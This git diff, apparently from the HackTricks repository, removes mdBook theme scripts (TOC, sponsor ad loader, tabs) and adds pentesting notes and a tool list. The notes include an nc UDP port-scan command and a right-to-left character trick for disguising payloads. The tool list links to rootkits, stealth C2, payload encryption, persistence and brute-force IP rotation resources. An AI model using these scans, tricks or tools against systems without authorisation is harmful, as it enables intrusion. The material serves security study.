-const getHeadingText = (heading) => {
-  if (!heading) return ""
-  const clone = heading.cloneNode(true)
-  const headerAnchor = clone.querySelector("a.header")
-  if (headerAnchor) headerAnchor.remove()
-  return clone.textContent.replace(/\s+/g, " ").trim()
-}
-const updateFunction = () => {
-  if (scrollTimeout) return // Skip updates if within the cooldown period from a click
-  const headers = [...document.getElementsByClassName("header")]
-  const scrolledY = window.scrollY
-  let lastHeader = null
-
-  // Find the last header that is above the current scroll position
-  for (let i = headers.length - 1; i >= 0; i--) {
-    if (scrolledY >= headers[i].offsetTop) {
-      lastHeader = headers[i]
-      break
-    }
-  }
-
-  const pagetocLinks = [...document.querySelector(".pagetoc").children]
-  pagetocLinks.forEach((link) => link.classList.remove("active"))
-
-  if (lastHeader) {
-    const activeLink = pagetocLinks.find(
-      (link) => lastHeader.href === link.href
-    )
-    if (activeLink) activeLink.classList.add("active")
-  }
-}
-
-window.addEventListener("load", () => {
-  const pagetoc = getPagetoc()
-  const headers = [...document.getElementsByClassName("header")]
-  headers.forEach((header) => {
-    const headingText = getHeadingText(header.parentElement)
-    const link = Object.assign(document.createElement("a"), {
-      textContent: headingText || header.text,
-      href: header.href,
-      className: `pagetoc-${header.parentElement.tagName}`,
-    })
-    pagetoc.appendChild(link)
-  })
-  updateFunction()
-  listenActive()
-  window.addEventListener("scroll", updateFunction)
-})
diff --git a/theme/sponsor.js b/theme/sponsor.js
deleted file mode 100644
index 3b93df77d61..00000000000
--- a/theme/sponsor.js
+++ /dev/null
@@ -1,295 +0,0 @@
-;(function sponsor() {
-  var sponsorSide = document.querySelector(".sidesponsor")
-  var sponsorImg = sponsorSide && sponsorSide.querySelector("img")
-  var sponsorTitle = sponsorSide && sponsorSide.querySelector(".sponsor-title")
-  var sponsorDescription =
-    sponsorSide && sponsorSide.querySelector(".sponsor-description")
-  var sponsorCTA = sponsorSide && sponsorSide.querySelector(".sponsor-cta")
-  var sponsorSideBsa = document.querySelector(".sidesponsor-bsa")
-  var topSponsorBsa = document.querySelector(".topsponsor-bsa")
-  var crawlerSlot = document.querySelector(".bsa-crawler-slot")
-  var pageviewsSlot = document.querySelector(".bsa-pageviews-slot")
-
-  var topSponsor = document.querySelector(".topsponsor")
-  var topSponsorImg = topSponsor && topSponsor.querySelector("img")
-  var topSponsorTitle =
-    topSponsor && topSponsor.querySelector(".topsponsor-title")
-  var topSponsorDescription =
-    topSponsor && topSponsor.querySelector(".topsponsor-description")
-  var topSponsorCTA =
-    topSponsor && topSponsor.querySelector(".topsponsor-cta")
-
-  var bottomSponsor = document.querySelector(".bottomsponsor")
-  var bottomSponsorImg = bottomSponsor && bottomSponsor.querySelector("img")
-  var bottomSponsorTitle =
-    bottomSponsor && bottomSponsor.querySelector(".bottomsponsor-title")
-  var bottomSponsorDescription =
-    bottomSponsor && bottomSponsor.querySelector(".bottomsponsor-description")
-  var bottomSponsorCTA =
-    bottomSponsor && bottomSponsor.querySelector(".bottomsponsor-cta")
-  var bottomSponsorBsa = document.querySelector(".bottomsponsor-bsa")
-
-  if (
-    !sponsorSide ||
-    !topSponsor ||
-    !bottomSponsor ||
-    !sponsorSideBsa ||
-    !topSponsorBsa ||
-    !crawlerSlot ||
-    !pageviewsSlot ||
-    !bottomSponsorBsa
-  ) {
-    return
-  }
-
-  var BSA_SCRIPT_BASE = "https://cdn4.buysellads.net/pub/hacktricks.js"
-  var BSA_FIXED_LEADERBOARD_FALLBACK = {
-    brokenId: "bsa-zone_1773065859037-5_123456",
-    actualId: "bsa-zone_1770367111944-8_123456",
-  }
-  var bsaScriptPromise
-
-  function getBsaScriptSrc() {
-    return BSA_SCRIPT_BASE + "?" + (new Date() - (new Date() % 600000))
-  }
-
-  function ensureBsaScript() {
-    if (bsaScriptPromise) {
-      return bsaScriptPromise
-    }
-
-    var existingScript = document.querySelector(
-      'script[src^="' + BSA_SCRIPT_BASE + '"]'
-    )
-    if (existingScript) {
-      bsaScriptPromise = Promise.resolve(existingScript)
-      return bsaScriptPromise
-    }
-
-    bsaScriptPromise = new Promise(function(resolve, reject) {
-      var originalMapGet = Map.prototype.get
-      var restoreMapGet = function() {
-        Map.prototype.get = originalMapGet
-      }
-
-      Map.prototype.get = function(key) {
-        if (
-          key === BSA_FIXED_LEADERBOARD_FALLBACK.brokenId &&
-          !this.has(key) &&
-          this.has(BSA_FIXED_LEADERBOARD_FALLBACK.actualId)
-        ) {
-          return originalMapGet.call(this, BSA_FIXED_LEADERBOARD_FALLBACK.actualId)
-        }
-
-        return originalMapGet.call(this, key)
-      }
-
-      var bsaOptimize = document.createElement("script")
-      bsaOptimize.type = "text/javascript"
-      bsaOptimize.async = true
-      bsaOptimize.src = getBsaScriptSrc()
-      bsaOptimize.onload = function() {
-        restoreMapGet()
-        resolve(bsaOptimize)
-      }
-      bsaOptimize.onerror = function(error) {
-        restoreMapGet()
-        reject(error)
-      }
-      ;(
-        document.getElementsByTagName("head")[0] ||
-        document.getElementsByTagName("body")[0]
-      ).appendChild(bsaOptimize)
-    })
-
-    return bsaScriptPromise
-  }
-
-  function getSponsorTitleFontSize(title) {
-    if (title.length > 45) {
-      return "1.35rem"
-    }
-
-    if (title.length > 28) {
-      return "1.55rem"
-    }
-
-    return ""
-  }
-
-  function resolveSponsorImageUrl(imageUrl) {
-    var value = String(imageUrl || "").trim()
-
-    if (!value) {
-      return ""
-    }
-
-    if (/^https:\/\//i.test(value)) {
-      return value
-    }
-
-    if (/^\/\//.test(value)) {
-      return "https:" + value
-    }
-
-    if (value.charAt(0) === "/") {
-      return new URL(value, window.location.origin).href
-    }
-
-    return new URL(value, document.baseURI || window.location.href).href
-  }
-
-  function setLegacySponsorContent(sponsor, container, nodes) {
-    nodes.img.src = resolveSponsorImageUrl(sponsor.image_url)
-    nodes.img.alt = sponsor.name
-    nodes.title.textContent = sponsor.name
-    nodes.description.innerHTML = sponsor.description
-    container.href = sponsor.link
-    nodes.cta.textContent = sponsor.cta
-    container.style.display = "grid"
-    container.classList.add("ht-sponsor-card--loaded")
-    container.setAttribute("aria-label", sponsor.name)
-
-    nodes.title.classList.toggle("sponsor-title--long", sponsor.name.length > 28)
-    nodes.title.classList.toggle("ht-sponsor-title--long", sponsor.name.length > 28)
-    nodes.title.style.fontSize = getSponsorTitleFontSize(sponsor.name)
-
-    nodes.description.style.fontSize = ""
-  }
-
-  function initSponsorCardMotion(card) {
-    if (!card) {
-      return
-    }
-
-    card.addEventListener("mouseenter", function() {
-      card.style.setProperty("--sponsor-lift", "-5px")
-      card.style.setProperty("--sponsor-scale", "1.02")
-    })
-
-    card.addEventListener("mouseleave", function() {
-      card.style.setProperty("--sponsor-rx", "0deg")
-      card.style.setProperty("--sponsor-ry", "0deg")
-      card.style.setProperty("--sponsor-lift", "0px")
-      card.style.setProperty("--sponsor-scale", "1")
-    })
-
-    card.addEventListener("mousemove", function(event) {
-      var rect = card.getBoundingClientRect()
-      var x = (event.clientX - rect.left) / rect.width - 0.5
-      var y = (event.clientY - rect.top) / rect.height - 0.5
-
-      card.style.setProperty("--sponsor-rx", (-y * 12).toFixed(2) + "deg")
-      card.style.setProperty("--sponsor-ry", (x * 12).toFixed(2) + "deg")
-    })
-  }
-
-  async function fetchLegacySponsor() {
-    var currentUrl = encodeURIComponent(window.location.href)
-    var url = "https://hacktricks.wiki/sponsor?current_url=" + currentUrl
-    var response = await fetch(url, { method: "GET" })
-
-    if (!response.ok) {
-      throw new Error("Response status: " + response.status)
-    }
-
-    var json = await response.json()
-    return json.sponsor
-  }
-
-  function renderLegacySideSponsor(sponsor) {
-    setLegacySponsorContent(sponsor, sponsorSide, {
-      img: sponsorImg,
-      title: sponsorTitle,
-      description: sponsorDescription,
-      cta: sponsorCTA,
-    })
-  }
-
-  function renderLegacyTopSponsor(sponsor) {
-    setLegacySponsorContent(sponsor, topSponsor, {
-      img: topSponsorImg,
-      title: topSponsorTitle,
-      description: topSponsorDescription,
-      cta: topSponsorCTA,
-    })
-  }
-
-  function renderLegacyBottomSponsor(sponsor) {
-    setLegacySponsorContent(sponsor, bottomSponsor, {
-      img: bottomSponsorImg,
-      title: bottomSponsorTitle,
-      description: bottomSponsorDescription,
-      cta: bottomSponsorCTA,
-    })
-  }
-
-  async function loadLegacySponsor() {
-    var sponsor = await fetchLegacySponsor()
-    renderLegacySideSponsor(sponsor)
-    renderLegacyTopSponsor(sponsor)
-    renderLegacyBottomSponsor(sponsor)
-  }
-
-  function shouldUseBsa() {
-    var params = new URLSearchParams(window.location.search)
-    var forcedProvider = params.get("ads")
-
-    if (forcedProvider === "bsa") {
-      return true
-    }
-
-    if (forcedProvider === "legacy") {
-      return false
-    }
-
-    return false
-  }
-
-  async function loadBsaSponsor() {
-    bottomSponsorBsa.style.display = "block"
-
-    if (window.matchMedia("(min-width: 880px)").matches) {
-      sponsorSideBsa.style.display = "block"
-      topSponsorBsa.style.display = "none"
-    } else {
-      sponsorSideBsa.style.display = "none"
-      topSponsorBsa.style.display = "block"
-    }
-
-    await ensureBsaScript()
-  }
-
-  async function initSponsor() {
-    ;[sponsorSide, topSponsor, bottomSponsor].forEach(initSponsorCardMotion)
-
-    try {
-      var useBsa = shouldUseBsa()
-      window.__hacktricksAdsProvider = useBsa ? "bsa" : "legacy"
-      console.info("HackTricks ads provider:", window.__hacktricksAdsProvider)
-
-      if (useBsa) {
-        await loadBsaSponsor()
-        return
-      }
-
-      await loadLegacySponsor()
-    } catch (error) {
-      console.error(error.message || error)
-
-      if (sponsorSideBsa.style.display === "block") {
-        sponsorSideBsa.style.display = "none"
-      }
-      topSponsorBsa.style.display = "none"
-      bottomSponsorBsa.style.display = "none"
-
-      try {
-        await loadLegacySponsor()
-      } catch (legacyError) {
-        console.error(legacyError.message || legacyError)
-      }
-    }
-  }
-
-  initSponsor()
-})()
diff --git a/theme/tabs.css b/theme/tabs.css
deleted file mode 100644
index 07a4dec9d10..00000000000
--- a/theme/tabs.css
+++ /dev/null
@@ -1,41 +0,0 @@
-.mdbook-tabs-container{
-    background-color: var(--bg);
-    border: 1px solid var(--table-border-color);
-    border-radius: 8px;
-}
-
-.mdbook-tabs {
-    display: flex;
-    margin-top: 0 !important;
-}
-
-.mdbook-tab {
-    background-color: var(--bg);
-    padding: 0.5rem 1rem;
-    cursor: pointer;
-    border: none;
-    font-size: 1.6rem;
-    line-height: 1.45em;
-    color: var(--icons-hover);
-}
-
-.mdbook-tab:hover {
-    color: var(--icons);
-}
-
-.mdbook-tab.active {
-    background-color: var(--theme-hover);
-    color: var(--icons);
-}
-
-.mdbook-tab-content {
-    padding: 1.2rem;
-}
-
-.mdbook-tab-content table {
-    margin: unset;
-}
-
-.mdbook-tab-content pre {
-    margin: unset;
-}
diff --git a/theme/tabs.js b/theme/tabs.js
deleted file mode 100644
index 8ba5e878c39..00000000000
--- a/theme/tabs.js
+++ /dev/null
@@ -1,75 +0,0 @@
-/**
- * Change active tab of tabs.
- *
- * @param {Element} container
- * @param {string} name
- */
-const changeTab = (container, name) => {
-    for (const child of container.children) {
-        if (!(child instanceof HTMLElement)) {
-            continue;
-        }
-
-        if (child.classList.contains('mdbook-tabs')) {
-            for (const tab of child.children) {
-                if (!(tab instanceof HTMLElement)) {
-                    continue;
-                }
-
-                if (tab.dataset.tabname === name) {
-                    tab.classList.add('active');
-                } else {
-                    tab.classList.remove('active');
-                }
-            }
-        } else if (child.classList.contains('mdbook-tab-content')) {
-            if (child.dataset.tabname === name) {
-                child.classList.remove('hidden');
-            } else {
-                child.classList.add('hidden');
-            }
-        }
-    }
-};
-
-document.addEventListener('DOMContentLoaded', () => {
-    const tabs = document.querySelectorAll('.mdbook-tab');
-    for (const tab of tabs) {
-        tab.addEventListener('click', () => {
-            if (!(tab instanceof HTMLElement)) {
-                return;
-            }
-
-            if (!tab.parentElement || !tab.parentElement.parentElement) {
-                return;
-            }
-
-            const container = tab.parentElement.parentElement;
-            const name = tab.dataset.tabname;
-            const global = container.dataset.tabglobal;
-
-            changeTab(container, name);
-
-            if (global) {
-                localStorage.setItem(`mdbook-tabs-${global}`, name);
-
-                const globalContainers = document.querySelectorAll(
-                    `.mdbook-tabs-container[data-tabglobal="${global}"]`
-                );
-                for (const globalContainer of globalContainers) {
-                    changeTab(globalContainer, name);
-                }
-            }
-        });
-    }
-
-    const containers = document.querySelectorAll('.mdbook-tabs-container[data-tabglobal]');
-    for (const container of containers) {
-        const global = container.dataset.tabglobal;
-
-        const name = localStorage.getItem(`mdbook-tabs-${global}`);
-        if (name && document.querySelector(`.mdbook-tab[data-tabname=${name}]`)) {
-            changeTab(container, name);
-        }
-    }
-});
diff --git a/theme/toc.js.hbs b/theme/toc.js.hbs
deleted file mode 100644
index b6b5566e528..00000000000
--- a/theme/toc.js.hbs
+++ /dev/null
@@ -1,167 +0,0 @@
-// Populate the sidebar
-//
-// This is a script, and not included directly in the page, to control the total size of the book.
-// The TOC contains an entry for each page, so if each page includes a copy of the TOC,
-// the total size of the page becomes O(n**2).
-class MDBookSidebarScrollbox extends HTMLElement {
-    constructor() {
-        super();
-    }
-    connectedCallback() {
-        // Modify TOC to support external links
-        var toc = '{{#toc}}{{/toc}}';
-        // Handle both old mdbook (<div>) and new mdbook 0.5 (<span>) formats
-        // External links open in new tab with external link icon
-        toc = toc.replace(/<(div|span)>([^$<>]*)\$\$external:([^$<>]*)\$\$<\/(div|span)>/g, '<a class="external-link" href="$3" target="_blank" rel="noopener noreferrer">$2 ↗</a>') 
-        this.innerHTML = toc
-        // Set the current, active page, and reveal it if it's hidden
-        let current_page = document.location.href.toString();
-        if (current_page.endsWith("/")) {
-            current_page += "index.html";
-        }
-        var links = Array.prototype.slice.call(this.querySelectorAll("a"));
-        var l = links.length;
-        for (var i = 0; i < l; ++i) {
-            var link = links[i];
-            var href = link.getAttribute("href");
-            if (href && !href.startsWith("#") && !/^(?:[a-z+]+:)?\/\//.test(href)) {
-                link.href = path_to_root + href;
-            }
-            // The "index" page is supposed to alias the first chapter in the book.
-            if (link.href === current_page || (i === 0 && path_to_root === "" && current_page.endsWith("/index.html"))) {
-                link.classList.add("active");
-                var parent = link.parentElement;
-                if (parent && parent.classList.contains("chapter-item")) {
-                    parent.classList.add("expanded");
-                }
-                while (parent) {
-                    if (parent.tagName === "LI" && parent.classList.contains("chapter-item")) {
-                        parent.classList.add("expanded");
-                    }
-                    parent = parent.parentElement;
-                }
-            }
-        }
-        updateChapterNavigation(links);
-        // Track and set sidebar scroll position
-        this.addEventListener('click', function(e) {
-            if (e.target.tagName === 'A') {
-                sessionStorage.setItem('sidebar-scroll', this.scrollTop);
-            }
-        }, { passive: true });
-        var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
-        sessionStorage.removeItem('sidebar-scroll');
-        if (sidebarScrollTop) {
-            // preserve sidebar scroll position when navigating via links within sidebar
-            this.scrollTop = sidebarScrollTop;
-        } else {
-            // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
-            var activeSection = document.querySelector('#sidebar .active');
-            if (activeSection) {
-                activeSection.scrollIntoView({ block: 'center' });
-            }
-        }
-        // Toggle buttons (delegate to avoid navigation)
-        var sidebarRoot = document.getElementById('sidebar');
-        if (sidebarRoot) {
-            sidebarRoot.addEventListener('click', function (ev) {
-                var toggle = ev.target.closest('a.chapter-fold-toggle');
-                if (!toggle) { return; }
-                ev.preventDefault();
-                ev.stopPropagation();
-                var parentLi = toggle.closest('li.chapter-item');
-                if (parentLi) {
-                    parentLi.classList.toggle('expanded');
-                }
-            }, true);
-            sidebarRoot.addEventListener('pointerdown', function (ev) {
-                var toggle = ev.target.closest('a.chapter-fold-toggle');
-                if (!toggle) { return; }
-                ev.preventDefault();
-                ev.stopPropagation();
-            }, true);
-        }
-    }
-}
-window.customElements.define("mdbook-sidebar-scrollbox", MDBookSidebarScrollbox);
-
-function normalizeChapterUrl(url) {
-    try {
-        var normalized = new URL(url, document.location.href);
-        normalized.hash = "";
-        normalized.search = "";
-        if (normalized.pathname.endsWith("/")) {
-            normalized.pathname += "index.html";
-        }
-        return normalized.href;
-    } catch (_) {
-        return "";
-    }
-}
-
-function setChapterNavigationLink(selector, chapter) {
-    var link = document.querySelector(selector);
-    if (!link) {
-        return;
-    }
-
-    if (!chapter) {
-        link.hidden = true;
-        link.removeAttribute("href");
-        return;
-    }
-
-    link.href = chapter.href;
-    link.hidden = false;
-
-    var label = link.querySelector(".chapter-nav-label") || link.querySelector("span");
-    if (label) {
-        label.textContent = chapter.title;
-    }
-}
-
-function updateChapterNavigation(links) {
-    var current = normalizeChapterUrl(document.location.href);
-    var seen = Object.create(null);
-    var chapters = [];
-
-    links.forEach(function (link) {
-        var rawHref = link.getAttribute("href");
-        if (!rawHref || rawHref.startsWith("#") || link.classList.contains("external-link")) {
-            return;
-        }
-
-        var url;
-        try {
-            url = new URL(link.href, document.location.href);
-        } catch (_) {
-            return;
-        }
-        if (url.origin !== document.location.origin && url.protocol !== "file:") {
-            return;
-        }
-
-        var normalized = normalizeChapterUrl(url.href);
-        if (!normalized || seen[normalized]) {
-            return;
-        }
-        seen[normalized] = true;
-
-        chapters.push({
-            href: link.href,
-            key: normalized,
-            title: link.textContent.trim()
-        });
-    });
-
-    var index = chapters.findIndex(function (chapter) {
-        return chapter.key === current;
-    });
-    var previous = index > 0 ? chapters[index - 1] : null;
-    var next = index >= 0 && index < chapters.length - 1 ? chapters[index + 1] : null;
-
-    setChapterNavigationLink(".mobile-nav-chapters.previous", previous);
-    setChapterNavigationLink(".nav-chapters.previous", previous);
-    setChapterNavigationLink(".mobile-nav-chapters.next", next);
-    setChapterNavigationLink(".nav-chapters.next", next);
-}
diff --git a/todo/misc.md b/todo/misc.md
new file mode 100644
index 00000000000..8902cbfdc6d
--- /dev/null
+++ b/todo/misc.md
@@ -0,0 +1,62 @@
+# MISC
+
+In a ping response TTL:  
+127 = Windows  
+254 = Cisco  
+Lo demás,algunlinux
+
+$1$- md5  
+$2$or $2a$ - Blowfish  
+$5$- sha256  
+$6$- sha512
+
+If you do not know what is behind a service, try to make and HTTP GET request.
+
+**UDP Scans**  
+nc -nv -u -z -w 1 &lt;IP&gt; 160-16
+
+An empty UDP packet is sent to a specific port. If the UDP port is open, no reply is sent back from the target machine. If the UDP port is closed, an ICMP port unreachable packet should be sent back from the target machine.  
+
+
+UDP port scanning is often unreliable, as firewalls and routers may drop ICMP  
+ packets. This can lead to false positives in your scan, and you will regularly see  
+ UDP port scans showing all UDP ports open on a scanned machine.  
+ o Most port scanners do not scan all available ports, and usually have a preset list  
+ of “interesting ports” that are scanned.
+
+## CTF - Tricks
+
+In **Windows** use **Winzip** to search for files.  
+**Alternate data Streams**: _dir /r \| find ":$DATA"_  
+
+
+```text
+binwalk --dd=".*" <file> #Extract everything
+binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
+```
+
+### Crypto
+
+**featherduster**  
+
+
+**Basae64**\(6—&gt;8\) —&gt; 0...9, a...z, A…Z,+,/  
+**Base32**\(5 —&gt;8\) —&gt; A…Z, 2…7  
+**Base85** \(Ascii85, 7—&gt;8\) —&gt; 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, &lt;, &gt;, \(, \), \[, \], {, }, @, %, $, \#  
+**Uuencode** --&gt; Start with "_begin &lt;mode&gt; &lt;filename&gt;_" and weird chars  
+**Xxencoding** --&gt; Start with "_begin &lt;mode&gt; &lt;filename&gt;_" and B64  
+  
+**Vigenere** \(frequency analysis\) —&gt; [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)  
+**Scytale** \(offset of characters\) —&gt; [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
+
+**25x25 = QR**
+
+factordb.com  
+rsatool
+
+Snow --&gt; Hide messages using spaces and tabs
+
+## Characters
+
+%E2%80%AE =&gt; RTL Character \(writes payloads backwards\)
+
diff --git a/todo/more-tools.md b/todo/more-tools.md
new file mode 100644
index 00000000000..4b2d7ffa633
--- /dev/null
+++ b/todo/more-tools.md
@@ -0,0 +1,115 @@
+# More Tools
+
+## BlueTeam
+
+* [https://github.com/yarox24/attack\_monitor](https://github.com/yarox24/attack_monitor)
+* [https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/](https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/)
+* [https://github.com/ION28/BLUESPAWN](https://github.com/ION28/BLUESPAWN)
+* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : Check disclosed accounts
+* [https://github.com/rabobank-cdc/DeTTECT](https://github.com/rabobank-cdc/DeTTECT)
+
+## OSINT
+
+* [https://github.com/3vangel1st/kamerka](https://github.com/3vangel1st/kamerka)
+* [https://github.com/BullsEye0/google\_dork\_list](https://github.com/BullsEye0/google_dork_list)
+* [https://github.com/highmeh/lure](https://github.com/highmeh/lure)
+* [https://www.shodan.io/](https://www.shodan.io/)
+* [https://censys.io/](https://censys.io/)
+* [https://viz.greynoise.io/table](https://viz.greynoise.io/table)
+* [https://www.zoomeye.org](https://www.zoomeye.org)
+* [https://fofa.so](https://fofa.so)
+* [https://www.onyphe.io](https://www.onyphe.io)
+* [https://app.binaryedge.io](https://app.binaryedge.io)
+* [https://hunter.io](https://hunter.io)
+* [https://wigle.net](https://wigle.net)
+* [https://ghostproject.fr](https://ghostproject.fr)
+* [https://www.oshadan.com/](https://www.oshadan.com/)
+* [https://builtwith.com/](https://builtwith.com/)
+* [https://www.spiderfoot.net/](https://www.spiderfoot.net/)
+* [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
+* [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/sys/tools/subdomainfinder/) : 8 Subdomain finder tools, sublist3r, amass and more
+
+## **WEB**
+
+* [https://github.com/AlisamTechnology/ATSCAN](https://github.com/AlisamTechnology/ATSCAN)
+* [https://github.com/momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder)
+* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
+* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
+* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
+* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Brute force domain names asynchronously
+* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Subdomain bruteforce
+* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Check if web servers in a domain are accessible
+* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Subdomain discovery
+* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Subdomain discovery in github
+* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Fast port scanning
+* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Subdomains and URLs from JS files in a web
+* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Web files dictionary
+* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : BurpExtension to avoid dozens  repeater tabs
+* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Obtain assets
+* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
+* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty_checklist.md) : Web BugBounty checklist
+* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Check a list of domain against Open Redirection
+* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Burp plugin, offline analysis to discover domains, subdomains and IPs
+* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): List of different tools
+* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : BurpSuite Plugingto find vulns \(SQLi, XSS, SSTI\)
+* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Chrome extension for tracking post-messages functions
+* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Automatic authentication tests \(remove cookies and try to send the request\)
+* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross is a Reconstruction, Scanner, and a tool for penetration / BugBounty testing. This tool was built to test \(XSS\|SSRF\|CORS\|SSTI\|IDOR\|RCE\|LFI\|SQLI\) vulnerabilities
+
+## Windows
+
+* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Lateral movements
+* [https://freddiebarrsmith.com/trix/trix.html](https://freddiebarrsmith.com/trix/trix.html) : LOL bins
+* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) \([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)\): Persistence
+* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Windows Process Injection techniques 
+* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red_Team) : Red Team scripts
+* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : find security-related misconfigurations in Active Directory Group Policy.
+* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Securestring obfuscation
+* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Parent PID Spoofing
+* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Encrypt Powershell payloads
+* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Stealth C2
+* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Series of logs about Windows Internals
+* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Track who open a document
+* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directory Cheat Sheet
+
+## Firmware
+
+Tools q veo q pueden molar para analizar firmares \(automaticas\):
+
+* [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
+* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT_core)
+* [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go)
+
+Post-crema:
+
+* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
+* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
+
+Como extraer firmware si no lo encontramos online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
+
+Aqui un firware con vulnerabilidades para analizar: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
+
+y por aqui la metodologia owasp para analizar firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
+
+## OTHER
+
+* [https://twitter.com/HackAndDo/status/1202695084543791117](https://twitter.com/HackAndDo/status/1202695084543791117)
+* [https://github.com/weev3/LKWA](https://github.com/weev3/LKWA)
+* [https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/](https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/)
+* [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
+* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Static code analysis
+* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
+* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit that slowly sends an endless banner.
+* AWS and Cloud tools: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
+* IFS \(Interplanetary File System\) for phising: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
+* IP rotation services: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
+* Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
+* [https://theia-ide.org/](https://theia-ide.org/) : Online IDE
+* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Resources for starting on BugBounties
